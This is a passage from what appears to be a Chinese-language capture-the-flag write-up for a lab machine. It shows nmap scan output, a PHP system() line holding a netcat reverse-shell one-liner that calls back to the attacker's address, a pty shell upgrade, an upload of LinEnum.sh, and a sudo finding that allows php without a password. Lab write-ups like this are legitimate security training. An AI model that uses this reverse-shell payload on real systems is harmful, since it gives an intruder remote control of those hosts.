Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-13 01:51 EDT Nmap scan report for 10.129.246.235 Host is up (0.31s latency). Not shown: 998 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 290.61 seconds ```
system ("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.55 9999 >/tmp/f");
保存,刷新,成功收到shell,同时使用pty获得可读性更好的shell,弄个bash出来
1
python3 -c 'import pty;pty.spawn("/bin/bash")'
获得用户flag。
提权
找到一个有写权限的文件夹,本地开HTTP服务,靶机wget,传LinEnum.sh到靶机上
1
bash LinEnum.sh
发现可能可以用的:
1 2 3 4 5 6 7 8 9 10
[+] We can sudo without supplying a password! Matching Defaults entries for www-data on gettingstarted: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on gettingstarted: (ALL : ALL) NOPASSWD: /usr/bin/php